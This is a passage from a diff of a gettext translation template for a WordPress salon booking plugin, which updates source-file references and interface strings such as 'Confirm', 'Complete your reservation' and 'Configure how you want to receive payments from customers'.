System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:508\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1124\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitScripts.php:161\n+msgid \"Close\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_render_day.php:201, src\u002FSLN\u002FAdmin\u002FCalendar.php:121, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:201, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:121, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:201, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:121, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCalendar.php:121\n-msgid \"Yes, delete.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:434\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:434\n+msgid \"Close tooltip\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_render_day.php:236, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:236, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:236, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:236, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:236, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:236\n-msgid \"Outside of working hours\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_advanced.php:44\n+msgid \"Code to be used\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_render_day.php:247, src\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, src\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:165, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:247, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:247, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:165, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_day.php:247, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:165, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:165, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:165\n-msgid \"Select\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:129\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:129\n+msgid \"Compare plans\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_render_month_day.php:101, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_render_month_day.php:101, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_render_month_day.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_render_month_day.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_render_month_day.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_render_month_day.php:101\n-msgid \"Edit reservation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_form_actions.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_form_actions.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fshortcode\u002F_salon_summary_next_button.php:13\n+msgid \"Complete\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_search_result.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_search_result.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_search_result.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_search_result.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_search_result.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_search_result.php:41\n-msgid \"Details\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:230\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:233\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:232\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:230\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:233\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:232\n+msgid \"Complete the payment to confirm your reservation\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_title.php:30, views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:430, views\u002Fmail\u002F_booking_info.php:13, views\u002Fmetabox\u002Fbooking.php:67, src\u002FSLN\u002FPostType\u002FBooking.php:266, views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:16, views\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:11, src\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:29, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_title.php:30, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:430, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_booking_info.php:13, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:67, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:266, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_title.php:30, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:430, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_booking_info.php:13, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:67, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_title.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:403, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_booking_info.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_title.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:403, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_booking_info.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:67, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_title.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:430, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_booking_info.php:13, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:67, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:266, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:266, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:266, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:11, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:266, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:11, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:29, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FBookingsList.php:29\n-msgid \"Status\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:233\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:236\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:235\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_900.php:233\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_400.php:236\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_summary_600.php:235\n+msgid \"Complete your reservation\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_title.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_title.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_title.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_title.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_title.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_title.php:35\n-msgid \"Customer score\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fservice.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fservice.php:29\n+msgid \"Concurrent capacity (how many customers can book at the same time)\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:182, src\u002FSLN\u002FPostType\u002FBooking.php:548, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:182, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:548, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:182, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:548, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FBooking.php:548\n-msgid \"Edited by %s (%s ago)\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:54\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:54\n+msgid \"Condition (booking total amount is)\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:403, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:403, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:403, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:376, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:376, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:403\n-msgid \"Booking: %s\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:206\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:206\n+msgid \"Configure how you want to receive payments from customers\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:220\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:220\n+msgid \"Configure your CodeCanyon settings and check your support status.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:1119\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:138\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1119\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002F_salon_my_account_details_table_rows.php:138\n+msgid \"Confirm\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:409, views\u002Fmetabox\u002Fattendant.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:409, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:409, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:382, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:382, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:409, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant.php:34\n-msgid \"Phone\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_admin_manage_buttons.php:15\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_admin_manage_buttons.php:15\n+msgid \"CONFIRM BOOKING\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:411, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:411, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:411, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:384, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:384, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:411\n-msgid \"Channel\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:310\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:310\n+msgid \"Confirm your password\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:412, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:412, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:412, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:385, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:385, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:412\n-msgid \"Customer Note\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:101\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:101\n+msgid \"Confirmed\"\n msgstr \"\"\n \n-#: views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:415, 